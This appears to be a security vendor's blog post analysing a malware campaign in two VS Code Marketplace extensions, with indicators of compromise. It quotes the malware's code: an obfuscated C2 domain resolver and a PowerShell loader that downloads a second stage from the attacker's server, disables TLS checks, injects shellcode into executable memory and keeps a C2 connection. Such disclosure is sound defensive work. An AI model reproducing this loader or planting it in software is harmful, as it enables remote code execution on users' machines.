We Caught an Active Campaign Targeting the VS Code Marketplace - and Their Mistakes Told Us Everything
What We Found
In the Blue Lock anime series, Isagi Yoichi doesn't win on raw talent. He wins by reading the field, spotting the gap nobody else noticed, and executing at exactly the right moment. The threat actor who chose IsagiYoichi as their VS Code Marketplace identity applied the same philosophy: patient, iterative, and hiding in plain sight inside tools that developers actually want to install.
A single actor publishing under IsagiYoichi shipped at least two extensions carrying identical Windows PowerShell shellcode loaders, each disguised as a legitimate language-tooling productivity product. Same publisher. Same C2 server. Same loader kit. Only the disguise changed.
The first extension - pylint-advanced-pro v1.4.2 - was a broken prototype.
The second - json-advanced-formatter-pro v1.4.7 - was the polished, fully functional version.
Most marketplace malware racks up a four-digit victim count before getting caught. This one never got the chance. We identified and reported both extensions to Microsoft within days of publication, leading to an immediate ban. As a result, exposure was limited to only 41 downloads (18 for json-advanced and 23 for pylint-pro).
Treating these extensions as isolated threats misses the bigger picture. They belong to a single campaign, share the same source code, and communicate with the same command-and-control server. The attacker relies on a modular, portable loader architecture - simply wrapping the same malicious core inside whatever decoy product fits their current target. Looking at this from a campaign level is what allowed us to connect the dots between the two extensions. By focusing defenses on this core loader module, you can block both current variants and future iterations.
The Delivery Chain - Both Versions
Both versions run the same end-to-end chain when their activation event fires. The only operational difference: v1.4.2 forgot to actually write the dropper file, causing PowerShell to be launched against a nonexistent path and fail silently. v1.4.7 fixed that one line and the whole chain came alive.
Technical Dive
Three functions pulled directly from the extension code - each one reveals a different part of the story.
1. The C2 domain hidden in plain sight
Instead of writing the server address directly, the attacker split it into hex characters. It looks like noise. It decodes to the domain everything connects back to.
function _resolveAnalyticsEndpoint() {
const _p = ['\x75\x70\x64\x61\x74\x65','\x2d','\x74\x65\x6c\x65\x6d\x65\x74\x72\x79','\x2e','\x63\x6c\x6f\x75\x64']; // hex-encoded 'update-telemetry.cloud'
return _p.join(''); // → 'update-telemetry.cloud'
}
2. What actually ran on your machine
Once active, the malware drops a script to disk that executes silently. This script handles three primary operational tasks: downloading the main payload, injecting it directly into memory, and maintaining a persistent connection to the command-and-control server.
$ErrorActionPreference = 'SilentlyContinue'
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} // disable TLS checks
$c2 = "update-telemetry.cloud"
try {
$stage2 = (Invoke-WebRequest -Uri "http://$c2:443/stage2.bin" -UseBasicParsing).Content
$code = @"
using System; using System.Runtime.InteropServices;
public class N {
[DllImport("kernel32")] public static extern IntPtr VirtualAlloc(IntPtr a,uint s,uint t,uint p);
[DllImport("kernel32")] public static extern void RtlMoveMemory(IntPtr d, byte[] s, uint l);
}
"@
Add-Type $code
$mem = [N]::VirtualAlloc([IntPtr]::Zero, $stage2.Length, 0x3000, 0x40) // RWX
[N]::RtlMoveMemory($mem, $stage2, $stage2.Length) // copy shellcode in
} catch { }
try {
$client = New-Object System.Net.Sockets.TcpClient("update-telemetry.cloud", 443)
while ($client.Connected) { Start-Sleep -Seconds 30 } // C2 heartbeat
} catch { }
3. The OpSec failure that unmasked the attacker
Beyond the malicious behavior we detected, the author made a critical operational security (OpSec) error. They forgot to remove a test function used during development, causing every installation to attempt a connection back to their personal computer. This mistake completely blew their anonymity.
function sendTestConnection() {
const client = net.createConnection({ host: '10.40.66.164', port: 8443 }, () => {
console.log('Connected to test listener at 10.40.66.164:8443');
client.write('Extension activated and connected\n');
client.end();
});
client.on('error', (err) => { console.error('Connection failed:', err.message); });
}
Indicators of Compromise
File Hashes (SHA-256)
- pylint-advanced-pro v1.4.2 VSIX: 8c1d3591786df7d8982f2dcafa3b6a56aba66706d8d23f5fc5e1441e35fc45a9
- pylint-advanced-pro v1.4.2 extension.js: 0e2a44548a9d40b63436f4b2cafdfc1e89a03db2f23920523a128755584671a8
- json-advanced-formatter-pro v1.4.7 VSIX: ab621aaa3a8f130239030bcd91f2a70ba75c09dce5d970d0010138641b3dbfa4
- json-advanced-formatter-pro v1.4.7 extension.js: ac08c0cdd365079065202625ed52e549cc15636671cdabf9ab548918516fca1f
Network
- C2 Domain (both versions):
update-telemetry[.]cloud - Dev Internal IP:
10.40.66[.]164